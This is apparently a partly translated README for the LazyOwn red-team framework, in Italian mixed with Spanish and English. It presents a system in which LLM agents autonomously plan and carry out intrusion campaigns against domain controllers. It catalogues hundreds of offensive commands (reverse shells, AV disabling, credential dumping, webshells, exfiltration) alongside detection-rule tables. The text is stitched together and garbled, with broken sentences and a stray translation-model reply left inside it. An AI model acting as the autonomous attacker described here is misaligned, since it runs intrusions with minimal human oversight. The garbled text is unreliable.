| Metodo | Cosa controlla |
|--------|----------------|
| `ai_test` | Predizione del modello ML LazyOwnBT |
| `proc_scan` | Nomi di processi sospetti |
| `net_scan` | Connessioni/porte inusuali |
| `log_analyze` | Anomalie auth/syslog |
| `fim_scan` | Modifiche all'integrità dei file |
| `redteam_hunt` | Pattern di threat hunting |
| `sigma_rules` | 10 regole Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |
**Motore di rilevamento regole Sigma** (LazyOwnBT `lazyownbt/detection.py`):
| ID | Regola | Livello |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**File di output:**
- `sessions/purple_dataset.csv` — Dataset di addestramento ML
- `sessions/purple_audit.jsonl` — Log di audit completo
- `sessions/detection_feedback.jsonl` — Calibrazione dell'oracolo
**Nota:** Per l'uso in produzione, integrare con un SIEM reale (Wazuh, Elastic SIEM, Splunk) tramite l'inoltro dei log di auditd. Le regole Sigma integrate sono solo per test offline.
### Hive Mind — `skills/hive_mind.py`
Architettura multi-agente queen+drone con memoria condivisa:
- **QueenBrain** (Claude): orchestrazione di alto livello + ConsensusProtocol per azioni ad alto rischio
- **DronePool** (Groq/Ollama): esecuzione parallela di attività di recon/exploit/cred/lateral/privesc
- **HiveMemory**: ChromaDB semantico + SQLite episodico + archiviazione a lungo termine Parquet
- **EpisodeReflectionEngine**: estrazione di lezioni post-campagna memorizzate come `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**Il primo framework C2 che pianifica, esegue e apprende autonomamente.**
ACI colma il divario tra un obiettivo di engagement in linguaggio naturale e un ciclo
di esecuzione completamente autonomo. Nessun concorrente (Cobalt Strike, Sliver, Havoc,
Metasploit) fa questo end-to-end:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Tre strumenti MCP:
| Strumento | Cosa fa |
|---|---|
lazyown_aci_plan | Scompone un obiettivo → piano ATT&CK → inietta gli obiettivi |
lazyown_aci_status | Analisi delle fasi in tempo reale, % di completamento, raccomandazione di riprogettazione |
lazyown_aci_replan | Forza la riprogettazione adattiva quando bloccato; genera automaticamente le lezioni |
Avvio rapido:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**Cosa rende ACI unico rispetto ad altri strumenti:**
- Cobalt Strike / Sliver / Havoc sono framework C2 — l'operatore pianifica ogni passo
- Metasploit ha l'automazione ma non l'intelligenza
- CALDERA emula procedure ATT&CK fisse ma non può adattarsi ad ambienti nuovi
- **ACI pianifica, esegue, ripianifica e impara — continuamente, attraverso gli ingaggi**
**Persistenza:**
| File | Contenuti |
|------|----------|
| `sessions/aci_plan.json` | Piano attivo: fasi, obiettivi, stato di completamento |
| `sessions/aci_history.jsonl` | Piani completati/abbandonati archiviati |
| `sessions/campaign_lessons.jsonl` | Lezioni estratte da ACIReflector |
**Utilizzo CLI (standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyQuattro ruoli asyncio in un singolo processo — nessun Claude richiesto tra i passaggi:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Abilita SWAN nel daemon: `export AUTO_USE_SWAN=1` prima di avviare.
ACI alimenta il daemon: gli obiettivi iniettati da `lazyown_aci_plan` vengono
raccolti automaticamente dal Ruolo 1 (ObjectiveLoop) — nessuna configurazione aggiuntiva necessaria.
### Ragionamento Basato su Grafo — `modules/world_model.py`
NetworkGraph traccia tutte le relazioni scoperte (host, servizi, credenziali, percorsi di fiducia) e calcola la centralità di grado normalizzata per individuare i candidati pivot. I primi 3 candidati vengono iniettati in ogni chiamata a `to_context_string()`, assicurando che il ciclo autonomo conosca sempre i target di movimento laterale a più alto valore.
## Guardia dell'Ambito di Autorizzazione
Un framework red-team che legge il suo target da `payload.json` ha un lato affilato:
un `rhost` errato lancia comandi offensivi verso un host non autorizzato. La guardia dell'ambito
è la rete di sicurezza. Ogni comando interattivo passa attraverso un unico punto di controllo
che verifica il target attivo rispetto all'ambito di ingaggio autorizzato prima che il
comando venga eseguito.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off,
quindi le campagne esistenti non sono influenzate finché non si aderisce. Qualsiasi errore interno
consente il comando anziché bloccare l'operatore.warn annota i comandi offensivi fuori scope; enforce li blocca
in attesa di conferma esplicita (e rifiuta nelle sessioni non interattive).do_* sono auto-classificati.payload.json (scope, scope_enforcement); la logica pura risiede in
cli/scope_guard.py con zero accoppiamento alla shell.Le dipendenze sono dichiarate una volta in pyproject.toml (unica fonte di verità) e
bloccate per installazioni riproducibili:
requirements.txt — lock core cross-platform (nessuna wheel CUDA).requirements-ml.txt — opzionale, stack ML pesante (torch/CUDA, scikit-learn).install.sh viene eseguito in modalità strict ed è idempotente. L'installazione predefinita
è leggera; aderisci agli extra con --with-ml (stack ML da 2 GB), --with-ollama
(runtime LLM locale) e --with-tools (binari esterni comuni).pip install -e .[ml,dev].Ctrl+K), suggerimenti reattivi inline dopo ogni comando e dashboard TUI Textual.yara_marketplace (10 regole integrate: ransomware, C2, webshell, offuscamento, privesc), nuclei_marketplace (500+ template), marketplace per plugin/addon della community — tutti navigabili tramite TUI curses.auto_pwn percorre automaticamente le fasi della kill-chain, hunt esegue discovery mirata basata su TTP noti.auto_crypto cifra i file di sessione sensibili all'uscita e li decifra all'avvio (PBKDF2HMAC + Fernet), in modo trasparente per l'operatore.dlopen. API datap source-compatible con il contratto BOF di Windows. Syscall dirette e supporto io_uring.sessions/captured_images.lazynmap.

cron per pianificare e automatizzare attività, consentendo simulazioni di minacce persistenti.

/addons nella dashboard C2 per creare integrazioni lazyaddons/*.yaml senza toccare YAML a mano. Un unico form espone ogni opzione dell'addon (nome, descrizione, autore, versione, abilitato, OS target, servizi trigger, categoria, tipo di modulo, tipo di installazione, parametri, blocco tool, extra C2, variabili d'ambiente) con tooltip, placeholder e aiuto per campo. Le chip placeholder ({rhost}, {url}, parametri dichiarati e ogni chiave di payload.json) sono drag-and-drop nei box dei comandi. La validazione lato server rifiuta nomi non sicuri, path traversal, placeholder sconosciuti e URL malformati prima che il file venga scritto; le scritture sono atomiche e sicure (file temporaneo creato con permessi restrittivi tramite mkstemp + fchmod, flushed e fsynced, poi promosso con os.replace). Le pagine di elenco e anteprima YAML completano il ciclo di vita. Ogni route mutante è protetta da CSRF. Contratto: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, coperto da tests/test_addon_creator.py e dal gate di mutazione tests/run_mutation_addon_creator.py..pdfx) e incorpora icone personalizzate tramite rsrc per un convincete social engineering.
modules/killchain.py calcola la fase; ogni superficie (CLI /killchain,
/api/killchain, C2 /api/data+/api/dashboard, pannello GUI2) renderizza il suo
snapshot()./api/beacon_results/<client_id>,
supportata da modules/beacon_history.py (JSONL, path-safe)./killchain auto on|off|N con auto-refresh live; flag
killchain_auto_every / killchain_auto_on_phase_change.Sfoglia, cerca e installa da una TUI marketplace unificata:
yara_marketplace list|search|install|info -- 10 regole integrate (ransomware, C2, webshell, offuscamento, privesc)nuclei_marketplace list|search|install|info -- 500+ template da ~/nuclei-templatesmarketplace list|search|install|update -- 137 addon YAML, 57 plugin, 69 toolauto_pwn -- percorso autonomo della kill-chain dal recon all'exploitationhunt -- recon threat-informed: mappa TTP noti ai servizi scopertiCifratura trasparente della sessione all'uscita / decifratura all'avvio tramite PBKDF2HMAC + Fernet.
7 profili APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on avvia un flusso di concatenamento guidato da world-model: dopo ogni comando
la shell offre passi successivi classificati (Invio = suggerimento principale, 1..N = alternativa classificata, qualsiasi comando = override, skip = manuale, ESC/Ctrl+C/off =
esci). Le scelte non valide richiedono nuovamente il prompt invece di saltare silenziosamente, e il flusso
si mette automaticamente in pausa dopo max_steps comandi concatenati. Lo stato persiste in
sessions/chain_mode.json (scritture atomiche). Contratto: cli/chain_mode.py +
cli/command_chain.py.
[0, 99], mai un disonesto 100%), motivo e provenienza. Contratto:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py è l'unica fonte di verità per le liste di verbi non azionabili
condivise da hint, suggerimenti e modalità chain.core/api_authz.py ora implementa la finestra di grazia
di rotazione documentata, copia i permessi dalla chiave ruotata (regressione
corretta), restituisce JSON 401/403 (sicuro con TRAP_HTTP_EXCEPTIONS), e
l'endpoint C2 /api/health/tenant è effettivamente applicato. Gate di mutazione:
tests/run_mutation_api_authz.py (7/7 uccisi).core/logging.py install_json_handler preserva gli handler preesistenti
ed è idempotente.Primitive di sicurezza centralizzate in core/hardening.py con 48 test in stile BDD
(tests/test_security_hardening_v3.py). Esegui con:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Correzioni principali applicate:**
- `shell=True` eliminato da `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 istanze)
- `os.system()` eliminato da `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 istanze), `misc_migrated.py`
- `os.popen()` eliminato da `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` sostituito con `sshpass -e` + variabile d'ambiente in 4 file (C2, lateral, exfil, persist)
- Chiave di crittografia hardcoded rimossa da `phishing_orchestrator.py` (ENCRYPTION_KEY obbligatoria)
- XSS nel banner C2 corretto con `html.escape()`
- Command injection tramite rhost negli appunti corretta con `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` rinominato in `COMMAND_ATTR_HELP_CATEGORY` (compatibilità con cmd2 4.2.2)
---
## Capacità dei comandi
LazyOwn fornisce 741 comandi distribuiti su 13 fasi della kill-chain, disponibili sia da CLI che dalla dashboard web C2:
| Fase | Comandi in evidenza |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistence | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Gestione principale: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
Vedi [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) per il riferimento completo dei 606 comandi e [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) per i 18 comandi che coprono l'80% degli engagement.
# Estendere LazyOwnShell con plugin Lua
Questo documento spiega come utilizzare lo scripting Lua per estendere le funzionalità dell'applicazione `LazyOwnShell`, che è costruita sopra il framework `cmd2` in Python. Lua consente di scrivere plugin personalizzati che possono aggiungere nuovi comandi, modificare il comportamento esistente o accedere ai dati dell'applicazione.

---
## Indice
1. [Introduzione](#introduzione)
2. [Configurazione dei plugin Lua](#configurazione-dei-plugin-lua)
3. [Scrivere plugin Lua](#scrivere-plugin-lua)
4. [Registrare nuovi comandi](#registrare-nuovi-comandi)
5. [Accedere ai dati dell'applicazione](#accedere-ai-dati-dellapplicazione)
6. [Gestione degli errori](#gestione-degli-errori)
7. [Plugin di esempio](#plugin-di-esempio)
8. [Best practice](#best-practice)
---
## 1. Introduzione
L'applicazione `LazyOwnShell` supporta lo scripting Lua per consentire agli utenti di estenderne le funzionalità senza modificare il codice Python principale. Gli script Lua (plugin) sono memorizzati nella directory `plugins/` e vengono caricati automaticamente all'avvio dell'applicazione.
I plugin Lua possono:
- Aggiungere nuovi comandi alla shell.
- Modificare comandi o comportamenti esistenti.
- Accedere e manipolare i dati dell'applicazione esposti da Python.
---
## 2. Configurazione dei plugin Lua
Per utilizzare i plugin Lua, assicurarsi di quanto segue:
1. Installare la libreria `lupa` nel proprio ambiente Python: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
All'avvio dell'applicazione, verrà eseguito init_plugins.lua, che carica tutti gli altri file .lua nella directory plugins/.
Struttura di un plugin Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Funzioni Chiave
- register_command(command_name, lua_function):
- Registra un nuovo comando nella shell.
- command_name: Il nome del comando (ad esempio, hello).
- lua_function: La funzione Lua da eseguire quando il comando viene invocato.
3. Registrazione di Nuovi Comandi
Per aggiungere un nuovo comando alla shell, segui questi passaggi:
- Definisci una funzione Lua che implementa la logica del comando.
- Usa register_command per registrare la funzione come comando.
- Esempio: Aggiunta del comando hello
- Crea un file plugins/hello.lua con il seguente contenuto: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Ora puoi eseguire il comando hello nella shell:
bash hello Lua Hello, Lua!
4. Best Practices
Sfruttando lo scripting Lua, puoi estendere le funzionalità di LazyOwnShell senza modificare il codice Python principale. Ciò consente una maggiore flessibilità e personalizzazione, permettendo agli utenti di scrivere i propri plugin per soddisfare esigenze specifiche. Buon coding!
Estendere le capacità del Framework RedTeam LazyOwn non è mai stato così facile, anche per i non programmatori, grazie al sistema LazyAddons che consente di estendere le funzionalità utilizzando file YAML.
Creazione dichiarativa di comandi tramite file di configurazione YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Configurazione avanzata```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Funzionalità Installazione automatica Gli strumenti vengono clonati da Git quando mancano:```bash git clone <repo_url> <install_path>
Sostituzione dei parametri
Sostituisce {param} nei comandi con valori da:
- Argomenti del comando
- Valori predefiniti
- self.params
- Integrazione della guida
help <command> visualizza la descrizione YAML.
Template```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Utilizzo Posiziona i file YAML in lazyaddons/
Avvia la tua applicazione CLI
Esegui i comandi registrati:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Risoluzione dei problemi
Parametri mancanti: verificare i campi obbligatori nel YAML
Errori di installazione: controllare l'accesso alla rete/git
Errori di comando: convalidare la sintassi di execute_command
Caratteristiche principali:
- Markdown pulito in stile GitHub
- Focalizzato solo sugli addon YAML
- Include template pronti all'uso
- Documenta il sistema di sostituzione dei parametri
- Fornisce suggerimenti per la risoluzione dei problemi
Vuoi che aggiunga esempi specifici o scenari d'uso?

LazyOwn su Reddit
Rivoluziona il tuo Pentesting con LazyOwn: automatizza l'intrusione su VITTIME Linux, MAC OSX e Windows
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Scopri LazyOwn, la soluzione definitiva per automatizzare il flusso di lavoro del pentesting per attaccare sistemi Linux, MacOSX e Windows. Il nostro potente strumento semplifica il pentesting, rendendolo più efficiente ed efficace. Guarda questo video per scoprire come LazyOwn può ottimizzare le tue valutazioni di sicurezza e migliorare il tuo toolkit di cybersecurity.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn è ideale per i professionisti della cybersecurity che cercano una soluzione centralizzata e automatizzata per le loro esigenze di pentesting, risparmiando tempo e migliorando l'efficienza nell'identificazione e nello sfruttamento delle vulnerabilità.

Python 3.x
Moduli Python:
subprocess (incluso nella libreria standard di Python)
platform (incluso nella libreria standard di Python)
tkinter (Opzionale per la GUI)
numpy (Opzionale per la GUI)
2. Installa le dipendenze Python:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
I'm sorry, but the input content you provided is empty. There is no Markdown text to translate.
Please provide the actual content of chunk 80/156 that you'd like me to translate from English to Italian, and I'll return only the translated Markdown text following all the rules you've specified.```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help
01. Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
03. Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
04. Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
05. Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
06. Privilege Escalation
────────────────────────
responder smbserver
07. Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
08. Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
09. Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
10. Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
11. Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
12. Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
13. Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
14. Yaml Addon.
───────────────
AdaptixC2 GoPEInjection OverRide
agentzero gosearch peeko
argfuscator gui pretender
ATTPwn gui2 PTMultiTools
AuroraPatch hack_browser_data PTMultiTools_scan
banner_tool hellbird PyinMemoryPE
bbr hive pyrit
beacon hooka_linux_amd64 raven
blacksandbeacon hostdiscover ridenum
blacksandbeacon_bof kivi_revshell setoolkit
cgoblin_windows laps ShadowLink
Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored
commix2 lazyagentAi SigPloit
copy-fail-CVE-2026-31431 lazybinenc spoonmap
CVE-2022-22077 lazyftpsniff stratus_detonate
CVE_2025_24071_PoC LazyLoader stratus_list
demiguise lazymapd toposwarm
ebird3 lazyownbt unicorn
evilginx2 LazyOwnExplorer upxdump
gcr llm vulnbot
gemini-cli NullGate vulnbot_groq
gen_dll_rev oniux vulnhuntr
Get_ReverseShell opencode_adapter watchguard
githubot orpheus wspcoerce
gomulti_loader_linux
gomulti_loader_windows
15. Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
16. Artificial Intelligence
───────────────────────────
ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $
https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit

Per cercare all'interno del database scraped ottenuto da GTFOBins.```sh
python3 lazysearch.py binario_a_buscar
Funzionalità e miglioramenti aggiuntivi: AutocompleteEntry:
È stato aggiunto un filtro per rimuovere i valori None dalla lista di autocompletamento. Nuovo vettore di attacco:
È stato aggiunto un pulsante "Nuovo vettore di attacco" all'interfaccia principale. È stata implementata la funzionalità per aggiungere un nuovo vettore di attacco e salvare i dati aggiornati in file Parquet. Esportazione in CSV:
È stato aggiunto un pulsante "Esporta in CSV" all'interfaccia principale. È stata implementata la funzionalità per esportare i dati del DataFrame in un file CSV selezionato dall'utente. Utilizzo:
Aggiungere un nuovo vettore di attacco: fare clic sul pulsante "Nuovo vettore di attacco", compilare i campi e salvare. Esportare in CSV: fare clic sul pulsante "Esporta in CSV" e selezionare la posizione in cui salvare il file CSV. Nuova funzione scan_system_for_binaries:
Implementa ricerche di binari a livello di sistema utilizzando il comando file per determinare se un file è binario. Utilizza os.walk per attraversare il file system. I risultati vengono visualizzati in una nuova finestra all'interno della GUI. Pulsante per cercare binari:
È stato aggiunto un pulsante "Cerca binari nel sistema" all'interfaccia principale, che richiama la funzione scan_system_for_binaries. Nota:
La funzione is_binary utilizza il comando Unix file per determinare se un file è un eseguibile binario. Se si utilizza un sistema operativo diverso, sarà necessario adattare questo metodo per la compatibilità. Questa implementazione può essere dispendiosa in termini di risorse poiché attraversa l'intero file system. Si potrebbe considerare di aggiungere opzioni aggiuntive per limitare la ricerca a directory specifiche o filtrare per determinati tipi di file.```sh python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Se vuoi aggiornare, procediamo come segue:```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh
## Usare la modalità LazyOwn WebShells
LazyOwn Webshell Collection è una raccolta di webshell per il nostro framework, che ci consente di stabilire una webshell sulla macchina su cui eseguiamo LazyOwn utilizzando vari linguaggi di programmazione. Essenzialmente, LazyOwn Webshell avvia un web server all'interno della directory dei moduli, rendendolo accessibile tramite un browser web. Questo ci permette sia di rendere i moduli disponibili separatamente attraverso il web sia di accedere alla directory cgi-bin, dove sono presenti quattro shell: una in Bash, un'altra in Perl, un'altra in Python e una in ASP, nel caso in cui il target sia una macchina Windows.```sh
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:

Ejecuta la herramienta `msfvenom` para generar una variedad de payloads basados en la entrada del usuario.
Esta función solicita al usuario que seleccione un tipo de payload de una lista predefinida y ejecuta el comando
`msfvenom` correspondiente para crear el payload deseado. Maneja tareas como la generación de diferentes tipos de
payloads para sistemas Linux, Windows, macOS y Android, incluyendo codificación opcional con Shikata Ga Nai para payloads de C.
Los payloads generados se mueven a un directorio `sessions`, donde se establecen los permisos adecuados. Además,
los payloads se pueden comprimir usando UPX para ahorrar espacio. Si el payload seleccionado es un APK de Android,
la función también firmará el APK y realizará los pasos de post-procesamiento necesarios.
:param line: Argumentos de línea de comandos para el script.
:return: None```sh
run lazymsfvenom or venom
## Sistema di Comando e Controllo
Il sistema di Command & Control (C2) consente operazioni remote tramite un'architettura server-client con comunicazioni cifrate.

